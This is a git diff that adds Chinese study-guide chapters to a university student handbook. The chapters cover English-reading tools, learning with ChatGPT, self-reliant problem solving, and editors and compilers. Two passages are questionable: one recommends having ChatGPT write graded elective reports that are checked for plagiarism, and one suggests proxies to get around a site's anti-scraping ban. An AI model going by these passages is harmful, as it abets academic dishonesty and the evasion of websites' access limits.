+++ b/技术资源汇总(杭电支持版)/2.高效学习/2.5以理工科的方式阅读英语.md
@@ -0,0 +1,13 @@
+# 2.5 以理工科的方式阅读英语
+
+作为一名理工科学生，也许英语并不是你的强势，但往往学习又难以避开英语。
+
+![](https://cdn.xyxsw.site/G6zAbGrTKoBLsfxhmvHcUBVynpc.png)
+
+下面提供一些英语阅读的方法：
+
+1. **学好英语（顺便过四六级）**
+2. 文档阅读：使用浏览器插件，例如：[沙拉查词](https://saladict.crimx.com/)、[划词翻译](https://hcfy.app/)、[沉浸式翻译](https://immersivetranslate.com/docs/)、[DeepL 翻译](https://www.deepl.com/zh/app/)
+3. Youtube 等视频网站的双语字幕 [languagereactor](https://www.languagereactor.com/)。
+4. 实用翻译软件[复制即翻译](https://copytranslator.github.io/)。
+5. ~~Galgame 翻译 [LunaTranslator](https://github.com/HIllya51/LunaTranslator)~~
diff --git a/技术资源汇总(杭电支持版)/2.高效学习/2.6学会使用AI辅助学习.md b/技术资源汇总(杭电支持版)/2.高效学习/2.6学会使用AI辅助学习.md
new file mode 100644
index 0000000..a951b77
--- /dev/null
+++ b/技术资源汇总(杭电支持版)/2.高效学习/2.6学会使用AI辅助学习.md
@@ -0,0 +1,15 @@
+# 2.1.6 学会使用 AI 辅助学习
+
+在过去，AI 取代人类似乎一直是一件遥远的事情，但在 2022 年末 OpenAI 的 ChatGPT 发布后在全球引发了一场 AI 热潮，ChatGPT 所表现出来的能力让我们思考在不久的未来我们真的会被 AI 取代吗？
+
+在知识储备上，我们人类在 AI 面前绝不占优势，就比如 ChatGPT 是几乎使用了绝大多数西方互联网的优质回答而训练出来的，想要在知识储备量战胜 AI 已经成了天方夜谭，但大家也不要为不知道一些知识而焦虑，我很欣赏南京大学的蒋炎岩教授说的一句话：“大佬和小白的差距并不是知识量的差距，而是大佬知道如何问出好的问题，搜索引擎会告诉你答案，或许未来还可以问 AI”
+
+假如你已经玩过 ChatGPT，你会发现它还远没有到真正取代人类的地步，而是它的出现已经能够使教育以及学习方式发生巨大变革。接下去我会给你们一些小建议：
+
+- 如果你希望完成一件事但却不知道怎么做，你可以问搜索引擎 (PS:远离百度！通常会得到 StackOverflow 上的答案)，或是直接问 ChatGPT！不过要小心，人工智能现在还经常一本正经胡说八道。
+- 问出合适的问题，就像你问一个大佬，假如你给出的 Prompt 非常宽泛而模糊，无论是谁都没法保障给出的答案是你想要的。比如你问“如何学好数学”，你可能会得到“多做题”这样的答案，但这并不是你想要的。你应该问“如何学好导数”，这样你就能得到更加精准的答案。问 ChatGPT 也是同样的道理，假如你给了它一个非常宽泛的 Prompt，它也只能给你一个模糊而无用的回答，假如给它的 Prompt 非常准确，那么你得到一个优质的回答的概率也会更高。
+- 有时候遇到一些你不愿意从头读到尾的手册，这时候去问 ChatGPT 是一个合适的选择，在一个手册里可能你需要的只是其中的一小段，但是手册却有几十页，此时 ChatGPT 的优势就体现出来了，它会根据你给的 Prompt 从手册中总结你需要的知识告诉你，这极大地降低了检索知识的成本，所以我觉得 ChatGPT 更像一个加强版搜索引擎。
+- 向 AI 获取知识，在现在的很多时候，AI 对于知识的掌控和讲解的逻辑性甚至超过了相当一大部分老师，或许去听 3 节长课甚至不如向 ChatGPT 问几个问题学到的知识更多，（或许未来的课堂可以变成老师下发一张写着问题的卡片，我们只需要发给 ChatGPT，通过它的回答来学习）。
+- 还有就是，在大学你会遇到非常多非常无趣的报告，甚至有些报告需要查重，没人愿意写，这时候 ChatGPT 就成为了拯救你的时间的利器，直接告诉它报告的要求，同时限定个数和字数，往往它能给出能混出相对高分的优质（低信息熵）报告，当然这适合的是一些水课报告，专业课报告别这么搞，专业课报告最好用它做来辅助你的写作，而不是直接抄袭。
+
+> PS. 不论 ChatGPT 还是一些别的 AI，它们的回答都不是绝对准确的，使用的时候要带有自己的思考，不要盲目相信 AI 的指示，把 AI 作为你的帮手，这能极大提高你的学习效率。
diff --git a/技术资源汇总(杭电支持版)/2.高效学习/2.高效学习.md b/技术资源汇总(杭电支持版)/2.高效学习/2.高效学习.md
new file mode 100644
index 0000000..12af4fc
--- /dev/null
+++ b/技术资源汇总(杭电支持版)/2.高效学习/2.高效学习.md
@@ -0,0 +1,56 @@
+# 2.高效学习
+
+author:zzm
+
+> 邮箱 <1264517821@qq.com>
+
+本章节更多的是纠正同学们开始实验前的一些误区以及提出一些建议。
+
+同时为大家推荐一些有趣的工具。
+
+但是首先各位需要了解几个名词
+::: danger 名词提醒
+
+<div style="font-size: 2rem;line-height: 2;">RTFM</div>
+
+Read the f**(friendly) manual
+
+:::
+
+::: danger 名词提醒
+
+<div style="font-size: 2rem;line-height: 2;">STFW</div>
+
+Search the "friendly" website
+
+:::
+
+## 为什么不能直接告诉我？
+
+因为本讲义的目的除了让你学会知识以外，更重要的目的是教给你如何当一个合格的大学生。
+
+一个合格的大学生理应具备独立解决问题的能力。
+
+**并且这是无论是学术界还是工业界都非常重视的基本素养**
+
+当遇到问题不是赶紧找个大神帮我，而是"我来试试 STFW 和 RTFM, 看能不能自己解决".
+
+::: warning 到底该怎么做？
+
+不得不提的是，目前互联网上是明显信息过剩的，缺失的是一个合适的引导，一条清晰的路径以及去克服困难的勇气！
+
+这也是我们希望大伙能获得的能力，如果把全部信息都塞上去难免有些揠苗助长。
+
+况且现在还有 ChatGPT 来辅助你去解决问题，大大降低了学习的难度，不过大家需要谨慎考虑的是，现在的机器也会一本正经的胡说八道
+
+:::
+
+## 如果真的不知道怎么解决怎么办？
+
+![](https://cdn.xyxsw.site/boxcnSmy1oqFO1glYIYGRZ9NhEb.jpg)
+
+来细看看本章节的内容吧！
+
+## 参考内容 上海交大生存指南
+
+[https://survivesjtu.gitbook.io/survivesjtumanual/](https://survivesjtu.gitbook.io/survivesjtumanual/)
diff --git a/技术资源汇总(杭电支持版)/2.高效学习/static/2-1-3-1.jpg b/技术资源汇总(杭电支持版)/2.高效学习/static/2-1-3-1.jpg
new file mode 100644
index 0000000..fe35ce9
Binary files /dev/null and b/技术资源汇总(杭电支持版)/2.高效学习/static/2-1-3-1.jpg differ
diff --git a/技术资源汇总(杭电支持版)/2.高效学习/static/2-1-3-2.jpg b/技术资源汇总(杭电支持版)/2.高效学习/static/2-1-3-2.jpg
new file mode 100644
index 0000000..7ed2142
Binary files /dev/null and b/技术资源汇总(杭电支持版)/2.高效学习/static/2-1-3-2.jpg differ
diff --git a/技术资源汇总(杭电支持版)/2.高效学习/static/G6zAbGrTKoBLsfxhmvHcUBVynpc.png b/技术资源汇总(杭电支持版)/2.高效学习/static/G6zAbGrTKoBLsfxhmvHcUBVynpc.png
new file mode 100644
index 0000000..e596c56
Binary files /dev/null and b/技术资源汇总(杭电支持版)/2.高效学习/static/G6zAbGrTKoBLsfxhmvHcUBVynpc.png differ
diff --git a/技术资源汇总(杭电支持版)/2.高效学习/static/boxcnO1PEsVd4KY7reeU64spShf.jpg b/技术资源汇总(杭电支持版)/2.高效学习/static/boxcnO1PEsVd4KY7reeU64spShf.jpg
new file mode 100644
index 0000000..4f98340
Binary files /dev/null and b/技术资源汇总(杭电支持版)/2.高效学习/static/boxcnO1PEsVd4KY7reeU64spShf.jpg differ
diff --git a/技术资源汇总(杭电支持版)/2.高效学习/static/boxcnPDWiNgkgppK1XWq5cRQ71b.jpg b/技术资源汇总(杭电支持版)/2.高效学习/static/boxcnPDWiNgkgppK1XWq5cRQ71b.jpg
new file mode 100644
index 0000000..8e0ab7a
Binary files /dev/null and b/技术资源汇总(杭电支持版)/2.高效学习/static/boxcnPDWiNgkgppK1XWq5cRQ71b.jpg differ
diff --git a/技术资源汇总(杭电支持版)/2.高效学习/static/boxcnSmy1oqFO1glYIYGRZ9NhEb.jpg b/技术资源汇总(杭电支持版)/2.高效学习/static/boxcnSmy1oqFO1glYIYGRZ9NhEb.jpg
new file mode 100644
index 0000000..10ff967
Binary files /dev/null and b/技术资源汇总(杭电支持版)/2.高效学习/static/boxcnSmy1oqFO1glYIYGRZ9NhEb.jpg differ
diff --git a/技术资源汇总(杭电支持版)/2.高效学习/static/boxcnSq1JzWhVrFs3MePPzp5Txg.jpg b/技术资源汇总(杭电支持版)/2.高效学习/static/boxcnSq1JzWhVrFs3MePPzp5Txg.jpg
new file mode 100644
index 0000000..07e487f
Binary files /dev/null and b/技术资源汇总(杭电支持版)/2.高效学习/static/boxcnSq1JzWhVrFs3MePPzp5Txg.jpg differ
diff --git a/技术资源汇总(杭电支持版)/2.高效学习/static/boxcne9EK3xz8LHOXfM8w9ih5Ig.png b/技术资源汇总(杭电支持版)/2.高效学习/static/boxcne9EK3xz8LHOXfM8w9ih5Ig.png
new file mode 100644
index 0000000..a7c11b3
Binary files /dev/null and b/技术资源汇总(杭电支持版)/2.高效学习/static/boxcne9EK3xz8LHOXfM8w9ih5Ig.png differ
diff --git a/技术资源汇总(杭电支持版)/2.高效学习/static/boxcnhuhE7qBLHyJKaesHGC033b.png b/技术资源汇总(杭电支持版)/2.高效学习/static/boxcnhuhE7qBLHyJKaesHGC033b.png
new file mode 100644
index 0000000..efcf96c
Binary files /dev/null and b/技术资源汇总(杭电支持版)/2.高效学习/static/boxcnhuhE7qBLHyJKaesHGC033b.png differ
diff --git a/技术资源汇总(杭电支持版)/2.高效学习/static/boxcnqsCWmUTDr5UDLYca9YkhHh.png b/技术资源汇总(杭电支持版)/2.高效学习/static/boxcnqsCWmUTDr5UDLYca9YkhHh.png
new file mode 100644
index 0000000..2b14ed2
Binary files /dev/null and b/技术资源汇总(杭电支持版)/2.高效学习/static/boxcnqsCWmUTDr5UDLYca9YkhHh.png differ
diff --git a/技术资源汇总(杭电支持版)/2.高效学习/补充：为什么不要用百度.md b/技术资源汇总(杭电支持版)/2.高效学习/补充：为什么不要用百度.md
new file mode 100644
index 0000000..86da600
--- /dev/null
+++ b/技术资源汇总(杭电支持版)/2.高效学习/补充：为什么不要用百度.md
@@ -0,0 +1,19 @@
+# 补充：为什么不要用百度
+
+相信大家都用过百度来搜索一些非技术问题，而且一般很容易找到答案。但随着问题技术含量的提高，百度的搜索结果会变得越来越不靠谱。坚持使用百度搜索技术问题，你将很有可能会碰到以下情况之一：
+
+- 搜不到相关结果，你感到挫败
+- 搜到看似相关的结果，但无法解决问题，你在感到挫败之余，也发现自己浪费了不少时间
+- 你搜到了解决问题的方案，但没有发现原因分析，结果你不知道这个问题背后的细节
+
+你可能会觉得"可以解决问题就行，不需要了解问题背后的细节"。但对于一些问题 (例如编程问题)，你了解这些细节就相当于学到了新的知识，所以你应该去了解这些细节，让自己懂得更多。
+
+如果谷歌能以更高的概率提供可以解决问题的方案，并且带有原因分析，你应该没有理由使用百度来搜索技术问题。如果你仍然坚持使用百度，原因就只有一个：你不想主动去成长。
+
+你或许会觉得翻阅手册太麻烦了，所以可能会在百度上随便搜一篇博客来尝试寻找解决方案。但是，你需要明确以下几点：
+
+- 你搜到的博客可能也是转载别人的，有可能有坑
+- 博主只是分享了他的经历，有些说法也不一定准确
+- 搜到了相关内容，也不一定会有全面的描述
+
+最重要的是，当你尝试了上述方法而又无法解决问题的时候，你需要明确"我刚才只是在尝试走捷径，看来我需要试试 RTFM 了"。
diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.0 编程入门之道.md b/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.0 编程入门之道.md
new file mode 100644
index 0000000..007cda4
--- /dev/null
+++ b/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.0 编程入门之道.md	
@@ -0,0 +1,134 @@
+# 3.0 编程入门之道
+
+> 作者：[爱飞的鸟](https://github.com/aFlyBird0)
+
+## 缘由
+
+
+### 这篇讲义讲什么
+
+- 首先，如上文所述，如何轻松地利用本章乃至整个讲义
+- 在第一点的基础上，引申出我自己归纳的**编程入门之“道”**
+
+### 请随意喷这篇讲义
+
+故意写这么大的题目，就是为了“噱头”，为了让读者有点开的欲望。
+
+可能本文的所谓的“道”并不是普适的，甚至是错误的，请尽你所能地喷这篇讲义，让我们一起完善它。
+
+## 如何利用好本章的讲义
+
+<del>（首先纠正一个心态，当我们获得一大片非常丰富的新的知识的时候，不应该感到焦虑。不知道自己不知道什么，远比知道自己不知道什么来得好。同时，虽然你收获的信息量很大，但也并不意味着你要全部看完，不需要焦虑。）</del>
+
+1. 这里的文章的最大的作用是帮你打开信息壁垒，告诉你编程的世界有哪些东西，可以去学什么。
+2. 把讲义当成字典来用。很多文章并不是完全对新人友好的，你现在不需要看懂，甚至可能不需要看。你只要大概记下有这么个概念和工具，当下次要用到的时候，再查阅、再仔细学习就好。
+
+简单来说就是，**抱着平和的心态，随便看看**，知道这一章都讲了哪些东西，看完有个印象就好，然后常回家看看。
+
+技术细节本身永远都不是最重要的，重要的是思想和方法，如何快速掌握一门技术。
+
+## 编程入门之道
+
+### 先“run”起来
+
+这是我的第一个也是最重要的建议。
+
+无论是学一门语言，还是学一个工具：**尽可能地先用最短的时间搞懂这个东西是做什么的，然后以最快的方式把它“run”起来。**
+
+当你已经能跑起一个语言、一个工具的最简单的示例的时候，再去花时间慢慢了解背后的复杂的内容，再去拓展即可。先用起来，跑起来，带着问题去翻资料。
+
+- 比如学写 C 语言，我建议大家直接打开在看的教程的第一章，把代码复制到这个[在线编译](https://rextester.com/l/c_online_compiler_gcc)的网站里，点一下 "Run it" 看效果。为什么要去详细了解编译器、编辑器、IDE、gcc、g++、make 这种东西？能最快地上手，最快地运行看到效果，对于初学者来说是最好的。等你把环境装好了，人家已经学完三章了。当你已经会了简单的循环、判断、函数，已经建立了信心，就可以慢慢地去看那些让人头疼的东西了。
+- 比如学 Linux，如果你电脑操作系统是 MacOS，直接打开“终端”，可以勉强当 Linux 使；如果你是 Windows，直接跟着微软的 [WSL 安装教程](https://docs.microsoft.com/zh-cn/windows/wsl/install)，一步步无脑地用鼠标点击然后装起来。这时候你就拥有一个 Linux 了，再对着教程去敲。等闲下来了就可以了解了解内核是什么，发行版是什么，去了解云服务器，去了解不同的装 Linux 的方式。
+
+为什么要这样？
+
+- 第一，计算机是很重实操的东西，不要光看所谓的理论不动手。动手是王道。
+- 第二，要尽可能多地、尽可能快地给自己找一些正反馈，学编程不是当苦行僧
+- 第三，很多东西没必要学，学了也忘。用到了再去学，是最省事最容易记住最高效的。
+- 第四，程序员这一辈子会接触无数的新的东西，如何快速上手一个东西，是非常重要的能力。
+
+### 任务/项目驱动
+
+任务/项目驱动的意思承接上文，意思就是不要瞎看文章，不要让阅读教程和学习课本成为你的驱动力，等你看完一本 C 语言的书，一行代码就没敲，你就 g 了。
+
+那么该怎么学呢？
+
+**先简单地会一样东西的最核心的部分，再去找一个实际的编程场景、编程任务、项目。你会在完成这个项目中遇到各种各样的问题，无论是遗漏了知识点还是压根没思路，这时候不断地用搜索引擎来学习。（ **[2.3 高效的信息检索](../2.%E9%AB%98%E6%95%88%E5%AD%A6%E4%B9%A0/2.3%E9%AB%98%E6%95%88%E7%9A%84%E4%BF%A1%E6%81%AF%E6%A3%80%E7%B4%A2.md)**）**
+
+举个例子：你想做一个小程序，来检测某电影院的电影预售。程序大概要做到不断刷新网页，一检测到这个电影预售了，就马上发短信给自己手机（或者直接帮你抢）
+
+1. 你通过搜索引擎或者从不知道哪个学长/学姐那里得知，这玩意叫爬虫（简单来说就是用程序抓取网页上的内容）。我们又通过搜索引擎得知，python 写爬虫最舒服。[3.6python（灵巧的胶水）](3.6Python%EF%BC%88%E7%81%B5%E5%B7%A7%E7%9A%84%E8%83%B6%E6%B0%B4%EF%BC%89.md)
+2. 我们又通过例如菜鸟教程这种最简单的极速入门教程，在 3 个小时内掌握了 python 的核心语法。
+3. 这时候我们开始写代码了，但是我该怎么获取到网页啊？这时候，你在浏览器里分别搜索了以下几个内容：“程序如何获取网页内容”。
+4. 你会学习到 http 相关的知识，大概知道了我们平时打开网页可以简单理解为一次 http GET。
+5. 可是，还是好抽象啊，python 又怎么才能获取到网页的内容啊？这时候，你在浏览器里精确了一下搜索内容，“python 如何获取网页内容”。
+6. 搜索引擎会告诉你，可以用诸如 `requests` 一类的库来请求网页。但问题又来了，这个库一下子会返回整个网页内容，我怎么才能筛选出我要的电影有没有放出来？
+7. 这时候你又去搜索，学会了怎么解析网页。比如用 `xpath`, `bs4`, 甚至直接用正则。
+8. 我们现在能不断地刷新网页，并且筛选出所有的电影的信息，然后分析出自己想看的那个电影有没有放出来了。但是问题又来了，怎么让程序给自己发信息啊？
+9. 这时候又打开了浏览器，我们可以知道诸如阿里云、腾讯云这样的云服务商提供了发短信的服务，并且会教你怎么写代码，主要注册、申请一下，就能发短信了。
+10. 但是你又会发现这个申请流程真 tm 麻烦，我还是发邮箱吧！这时候又开始搜，如何用 python 发邮件。
+11. 然后你会了解到 python 用于发邮件的一些库，以及简单的邮件协议的知识，如 `POP3`
+12. 程序真的能如期运行了，能不断刷新、获取网页内容、解析内容以判断电影是否上映，上映了还会发邮件给你。
+13. 又又又出问题了！！！你发现程序出错了，因为你请求频率过高，电影院的网站发现你是爬虫了，把你给 ban 了！这时候你知道了“反爬”这个概念，就是反爬虫，类似于外挂和反外挂。你开始学习反爬的知识。
+14. 你了解到可以给程序挂个“代理”，相当于每次请求网页的时候，都伪装成了世界上上某个角落的另外一台电脑的请求。
+15. 能走到这里太艰辛了，但你很快又发现了问题！现在程序是跑在自己的电脑上的，我们不知道电影院啥时候放票，所以程序得一直跑着，但是电脑会关机啊，关机了还怎么抢？？？
+16. 这时候你了解到了服务器的概念。服务器可以简单地了解为一台远程的几乎从不关机的电脑，一般用的是 Linux 操作系统。[3.Y 附加模块：Linux](3.Y%20%E9%99%84%E5%8A%A0%E6%A8%A1%E5%9D%97%EF%BC%9ALinux.md)
+17. 这时候你又开始去学 Linux，当然不是非常系统地学，而是像我之前说的，以最快的方式知道它是做什么的，然后运行起来。比如可以直接在阿里云、腾讯云、AWS 等云服务器商那里购买。甚至也可以用自己的旧手机装个 Linux 等等，这些都是后话了。
+18. 服务器是远程的，我们怎么连上去操纵它呢？我怎么把我的 python 代码传上去呢？这时候你又去求助万能的搜索引擎，或者神秘的学长学姐。你知道了世界上有 `ssh`、`ftp`、`sftp` 这些东西。
+
+以上的“简单”的例子，就是所谓的任务驱动。带着目的去学，带着任务去学，带着问题去学，快速搞定。在上面的例子中，如果能成功走完，你会学到编程语言本身、学到网络知识、学到 Linux 服务器及其相关操作、学到云服务器和各种云服务（例如短信服务）。更重要的是，每一次从问题到答案的搜索与解决过程，你的编程内功就增强了一波。以后上手一个新东西，或者遇到问题再去解决它的速度，只会越来越快。
+
+刚开始你可能什么都不会，什么地方都被阻塞，但当你把坑踩遍了。就发现，哎嘿，不好意思，这玩意我怎么又会！
+
+**所以让我们基于这个“任务驱动”，再看看本章的内容。这些内容大多看了就忘，因为细节非常多，而且并不一定能解决你手头上的问题。但这些文档，带你领进了新的领域的大门，让你的工具箱里多了一个可以解决问题的工具，以后用到了可以想起他们。并且，这些文章多是通俗的，且作者多是讲述了 ta 所认为的该语言/工具的最核心、最精华的部分，或者说第一次入门最需要学习的部分。**
+
+## 圈子
+
+先干了这碗鸡汤，我之前写的，就单纯想让你看看。
+
+> 每个大学的同一个专业，录取的时候分数是差不多的，但是毕业的时候工资可以差几十倍。他们的大环境是相同的，外界对他们的学历评价也是一样的。外部的大环境，我称之为大圈子，最典型的是学校。大圈子决定的是外部对你的整体性的刻板印象式的评价，以及决定了你能以多大的成本来获取资源（比如有没有公司来学校主要招生，有没有免费出国交流的机会，有没有图书馆）。但是，这个大圈子，在一般情况下，在你思考这个问题的时候就已经决定了，比如大家的大学是不能改变的。但更重要的是，小圈子，即你自身所营造的环境。比如每个人都有几个要好的朋友，他们的编程水平，其实就决定了你的编程水平，比如你是否有加入有技术大佬坐镇的社团，这样他们能带你学。如果线下都没有的话，你是否主动去加一些网上的社群、编程社区，问问公司对计算机专业学生的要求是什么，问问能进大厂的人，都在学些什么（知道要学什么很重要，瞎学悔大学）小圈子能时刻让你知道重要的讯息，比如计算机哪个细分方向的就业好，什么厂最近又有提前批，等等。圈子这东西太重要了，我以前很长一段时间就是一个所谓的一直在学习，很想提高自己，但因为比较自闭没有认识牛逼的人，所以我压根不知道学什么啊。那就只能随便弄，瞎搞，做无用功。
+
+圈子，从另外一个角度，也可以理解为“信息差”，“信息壁垒”。对于编程这东西，知道有哪些东西能学，哪些东西赚钱多好找工作，哪些地方有项目，然后有着志同道合的人一起唠，太重要了。
+
+我最近的两次编程能力的飞跃，一次是在加入了某个社团认识了很多技术大佬以及有了非常多的项目可以写，一次是意外地获得了一份实习所以能够和行业的领跑人物经常聊天，以及在开源社区慢慢接触到来自世界各地的技术大牛。
+
+“破圈”的话，我目前接触到的最好的方式是参与开源社区。参与开源的好处如下：
+
+1. 输入决定输出。开源的代码多是经过检验的牛逼的代码，通过多看看优雅的代码来提高编程能力，比自己无中生有简单地多。
+2. 开源圈牛人多。无论是拓宽视野，还是在 issue 下的交流，还是别人给你的 review 建议，都能学到很多。你会在开源的过程中认识很多的人，很多大厂的人，说不定就是你以后的面试官。
+3. 参与开源社区能极大地锻炼自己的编程能力，能给简历贴金。
+4. 开源是程序员的浪漫。
+
+对于学生而言，可以参加一些仅面向学生开放的开源活动。一般会有一个主办方，然后有许多知名的开源社区报名。他们会罗列出一些有一定难度的任务，学生可以提交申请书，陈述如何完成这个任务。中选后会分配单独的导师来带你，还会发奖金给你，一般是大几千起步。推荐阅读这个系列的文章：[https://erdengk.github.io/gsoc-analyse/](https://erdengk.github.io/gsoc-analyse/)
+
+## 不同的知识媒介
+
+这里主要讲讲我对不同媒介来学习编程知识的看法，媒介主要指的是
+
+- 图文 vs 音视频
+
+我身边的牛逼的人，一般都更喜欢通过看图文来学习，而不是视频。主要有以下几个原因：
+
+1. 图文的信息密度最大。同样的时间内，看一篇图文获得的信息量比视频大很多。
+2. 图文易定位、检索。你可以通过搜索功能非常迅速地在一个工具的官网内找到想要的内容。
+3. 一些杂七杂八的原因：图文往往更新，因为视频制作耗时长，不容易更新；牛逼的人它不一定会做视频，或者说牛逼的人中有写博客习惯的远大于做视频习惯的。
+
+当然，视频也有很大的好处，就是直观、简单。适合学习初期。
+
+当然也不必强行把自己往上套，结合自身特质，以什么的方式学习效率最高，就采用什么样的方式。不过我建议你多锻炼阅读官方文档、文档教程的能力。
+
+## 选择大于努力
+
+[正确解读 GPA](/1.杭电生存指南/1.6正确解读GPA) 这篇文档写得很好，和我的想法完全一致，但是被放得太后面了，我想把它提上来。
+
+大学不是唯分数论的，起码编程不是这样。我的建议是，如果以后大概率考研，可以多抓一下绩点；如果以后大概率工作，就不必追求高绩点了（指把大部分时间都花在提高绩点上）。
+
+至于为什么是“选择大于努力”这么笼统的标题，因为我想表达更多的意思（虽然我一时想不到那么多）。
+
+选择真的比你想象的重要。
+
+- 例如，你是选择把大部分的时间花在把成绩从 85 提高到 90 上，还是把大部分时间用来做实际的项目直接上手以后大厂需要的框架上？
+- 例如，你选择什么技术栈，哪个发展方向（这个目前来说大家不需要考虑，只是简单提一下。大家选计算机这个行为本身相对来说就已经很对了，比土木工程当牛马好太多）？
+- 例如，你是选择以老师上课教的内容为主，埋头搞 C 语言，还是多去扩展自己的视野去了解现行的流行的框架是什么，大厂需要什么样的能力，然后去做项目？
+
+以及，一旦作出了选择，就不要像祥林嫂那样自怨自艾。过去的事情无可改变，我们只能基于当前的状态和资源，去把接下来的事情做得更好。
diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.1该使用哪个编辑器？？？.md b/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.1该使用哪个编辑器？？？.md
new file mode 100644
index 0000000..9b89e05
--- /dev/null
+++ b/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.1该使用哪个编辑器？？？.md
@@ -0,0 +1,89 @@
+# 3.1 该使用哪个编辑器？？？
+
+## 编辑器，编译器，集成开发环境
+
+我们平时所说的程序，是指双击后就可以直接运行的程序，这样的程序被称为可执行程序（Executable Program）。
+
+在 Windows 下，可执行程序的后缀主要有 .exe
+
+在类 UNIX 系统（STFW）下，可执行程序没有特定的后缀，系统根据文件的头部信息来判断是否是可执行程序
+
+可执行程序的内部是一系列计算机指令和数据的集合，它们都是二进制形式的，CPU 可以直接识别，毫无障碍；但是对于程序员，它们非常晦涩，难以记忆和使用。
+
+（你也不想用一沓纸带写程序吧）
+
+### 什么是编辑器
+
+编辑器的概念很简单，百度百科上这么写道：
+
+> 编辑器是软件程序，一般是指用来修改电脑档案的编写软件，但也有人称 PE2、HE4（汉书）……等文书软件为编辑器。常见的编辑器有文本编辑器、网页编辑器、源程序编辑器、图像编辑器，声音编辑器和视频编辑器等。
+
+当然在这里我们主要讲的是代码编辑器，一个好的编辑器可以节省开发时间，提高工作效率，它们都能提供非常方便易用的开发环境。你可以用它们来编写代码，查看源文件和文档等，简化你的工作。以下是一些常用的代码编辑器，每个不同的编辑器都有不尽相同的目标用户群体。
+
+- *Visual Studio Code* : 微软 VS 系列的新作品，适用于多平台的代码编辑器，其很好服从了轻量化 + 拓展的 Unix 思想，在整体快捷方便的同时具有极强的功能拓展空间，是值得首要推荐的编辑器。
+- *Vim*: Vim 是从 vi 发展出来的一个文本编辑器，在程序员中被广泛使用，运行在 Linux 环境下。
+- *GNU Emacs* : Emacs 是一个轻便、可扩展、免费的编辑器，它比其它的编辑器要更强大，是一个整合环境，或可称它为集成开发环境。它可以处理文字，图像，高亮语法，将代码更直观地展现给开发者。
+
+### 什么是编译器
+
+C 语言代码由固定的词汇按照固定的格式组织起来，简单直观，程序员容易识别和理解，但是对于 CPU，C 语言代码就是天书，根本不认识，CPU 只认识几百个二进制形式的指令。这就需要一个工具，将 C 语言代码转换成 CPU 能够识别的二进制指令，也就是将代码加工成 .exe 程序；这个工具是一个特殊的软件，叫做编译器（Compiler）。
+编译器能够识别代码中的词汇、句子以及各种特定的格式，并将他们转换成计算机能够识别的二进制形式，这个过程称为编译（Compile）。
+
+·机器语言、汇编语言和高级语言区别
+
+1. 机器语言
+   计算机执行的二进制命令，都是 0 和 1 表示的。
+2. 汇编语言
+   具有一定意义的文字命令，与机器语言一一对应。汇编语言可以通过汇编得到机器语言，机器语言可以通过反汇编得到汇编语言。汇编过程还包括变量内存管理，即经过汇编之后所有的变量和函数都变成了地址，而常量也变成了对应的值。
+   但是汇编语言还是不够直观，一个简单的动作需要大量的语句来描述，因此又有了高级语言。
+3. 高级语言
+   更简单，符合人们的习惯，也更容易理解和修改。高级语言经过编译器编译之后可以得到目标程序。
+   编译器的作用就是把高级语言的源代码转换成对应平台的目标代码。高级语言书写比较简单，但是翻译起来比较复杂，同样的高级语言语句可以有不同的机器语言实现方法。
+
+而<u>编译器所做的就是进行这三种语言的互相转换。大多数情况下，编译是从更高级的语言（高级语言、汇编语言）编译成低级语言（汇编语言、机器语言）。</u>
+
+另一种情况是，从他人的可执行程序（低级语言）编译成高级语言，以推导出他人的软件产品所使用的思路、原理、结构、算法、处理过程、运行方法等设计要素，某些特定情况下可能推导出源代码。这个过程叫做反向编译。
+
+编译器：将你所编辑的源代码编译成机器所能理解的语言，比如 VC++ 把你的.cpp 文件编译成.obj 文件（经过编译器编译这时的代码计算机已经可以识别），而最后的.exe 则是通过连接生成的（这里的工作是由连接器完成的，跟编译器无关）。
+
+语言的编译器有很多种，不同的平台下有不同的编译器，例如：
+
+- Windows 下常用的是微软开发的 cl.exe，它被集成在 Visual Studio 或 Visual C++ 中，一般不单独使用；
+- Linux 下常用的是 GUN 组织开发的 GCC，很多 Linux 发行版都自带 GCC；
+- Mac 下常用的是 LLVM/Clang，它被集成在 Xcode 中（Xcode 以前集成的是 GCC，后来由于 GCC 的不配合才改为 LLVM/Clang，LLVM/Clang 的性能比 GCC 更加强大）。
+
+你的代码语法正确与否，编译器说了才算，我们学习 C 语言，从某种意义上说就是学习如何使用编译器，让编译器生成可执行程序（例如 Windows 下的 .exe 程序）。
+
+编译器可以 100% 保证你的代码从语法上讲是正确的，因为哪怕有一点小小的错误，编译也不能通过，编译器会告诉你哪里错了，便于你的更改。
+
+### 什么是集成开发环境
+
+实际开发中，除了编译器是必须的工具，我们往往还需要很多其他辅助软件，例如：
+
+- 编辑器：用来编写代码，并且给代码着色，以方便阅读；
+- 代码提示器：输入部分代码，即可提示全部代码，加速代码的编写过程；
+- 调试器：观察程序的每一个运行步骤，发现程序的逻辑错误；
+- 项目管理工具：对程序涉及到的所有资源进行管理，包括源文件、图片、视频、第三方库等；
+- 漂亮的界面：各种按钮、面板、菜单、窗口等控件整齐排布，操作更方便。
+
+这些工具通常被打包在一起，统一发布和安装，例如 Visual Studio、Dev C++、Xcode、Visual C++ 6.0、C-Free、Code::Blocks、JetBrains Clion 等，它们统称为集成开发环境（IDE，Integrated Development Environment）。
+
+集成开发环境就是一系列开发工具的组合套装。这就好比台式机，一个台式机的核心部件是主机，有了主机就能独立工作了，但是我们在购买台式机时，往往还要附带上显示器、键盘、鼠标、U 盘、摄像头等外围设备，因为只有主机太不方便了，必须有外设才能玩的爽。
+
+集成开发环境也是这个道理，只有编译器不方便，所以还要增加其他的辅助工具。
+
+## 我的推荐
+
+作为个人使用比较顺手的几款 IDE
+
+Java: [JetBrains IntelliJ IDEA](https://www.jetbrains.com/zh-cn/idea/)
+
+C:  [Visual Studio（宇宙第一 IDE）](https://visualstudio.microsoft.com/zh-hans/vs/)， [JetBrains Clion](https://www.jetbrains.com/zh-cn/clion/)，Visual Studio Code（编辑器 IDE 化需要额外配置）
+
+Python: [JetBrains Pycharm](https://www.jetbrains.com/zh-cn/pycharm/)
+
+Vim 在附加篇章里有额外介绍
+
+[JetBrains 白嫖指南](https://www.cnblogs.com/Coline1/p/15229244.html)
+
+当然，适合你的才是最好的
